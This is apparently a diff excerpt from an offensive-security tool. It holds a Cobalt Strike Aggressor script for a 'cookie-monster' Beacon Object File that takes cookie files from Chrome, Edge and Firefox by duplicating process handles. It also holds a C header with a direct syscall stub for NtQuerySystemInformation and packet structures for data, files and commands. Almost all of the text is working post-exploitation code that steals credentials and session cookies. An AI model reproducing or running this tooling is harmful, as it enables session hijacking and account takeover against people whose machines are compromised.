--chromepid, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file \
--edgepid, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file \
");
# $1 - beacon id
# $2 - args
alias cookie-monster {
local('$handle $data $args $chrome $edge $firefox $all');
# read in our BOF file...
$handle = openf(script_resource("cookie-monster-bof.o"));
$data = readb($handle, -1);
closef($handle);
if(strlen($data) == 0)
{
berror($1, "could not read bof file");
return;
}
# declare variables
$chrome = 1;
$edge = 1;
$firefox = 1;
$chromepid = 1;
$edgepid = 1;
$pid = 1;
for ($i = 1; $i < size(@_); $i++)
{
if (@_[$i] eq "--chrome")
{
$chrome = 0;
}
else if (@_[$i] eq "--edge")
{
$edge = 0;
}
else if (@_[$i] eq "--firefox")
{
$firefox = 0;
}
else if (@_[$i] eq "--chromepid")
{
$chromepid = 0;
# get PID
$i++;
if($i >= size(@_))
{
berror($1, "missing --chromepid PID value");
return;
}
# set the revert time
$pid = @_[$i];
if(!-isnumber $pid || $pid eq "1")
{
berror($1, "Invalid PID: " . $pid);
return;
}
}
else if (@_[$i] eq "--edgepid")
{
$edgepid = 0;
# get PID
$i++;
if($i >= size(@_))
{
berror($1, "missing --edgepid PID value");
return;
}
# set the revert time
$pid = @_[$i];
if(!-isnumber $pid || $pid eq "1")
{
berror($1, "Invalid PID: " . $pid);
return;
}
}
else {
berror($1, "NONE OF THE OPTIONS SELECTED");
return;
}
}
if ( $chrome == 1 && $edge == 1 && $firefox == 1 && $chromepid == 1 && $edgepid == 1 && $pid == 1){
berror($1, "NO OPTIONS SELECTED");
return;
}
$args = bof_pack($1, "iiiiii", $chrome, $edge, $firefox, $chromepid, $edgepid, $pid );
beacon_inline_execute($1, $data, "go", $args);
}
+40
View File
@@ -0,0 +1,40 @@
#include <windows.h>
#define SystemHandleInformation 0x10
#define HANDLE_TYPE_FILE 37
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
// TODO, Dynamic resolution of NtQuerySystemInformation
#define SYSCALL_STUB_X64(high, low) ".byte 0x4C,0x8B,0xD1,0xB8,0x"#high",0x"#low",0x00,0x00,0x0F,0x05,0xC3"
NTSTATUS __attribute__((naked)) NtQuerySystemInformation(int SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {
asm(SYSCALL_STUB_X64(36, 0));
}
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, SYSTEM_HANDLE_INFORMATION_, * PSYSTEM_HANDLE_INFORMATION_;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct __PACKET_HEADER {
DWORD magic;
DWORD type;
CHAR buffer[256];
DWORD dwSize;
} PACKET_HEADER;
enum PacketType {
PACKET_DATA = 1,
PACKET_FILE = 2,
PACKET_CMD = 4
};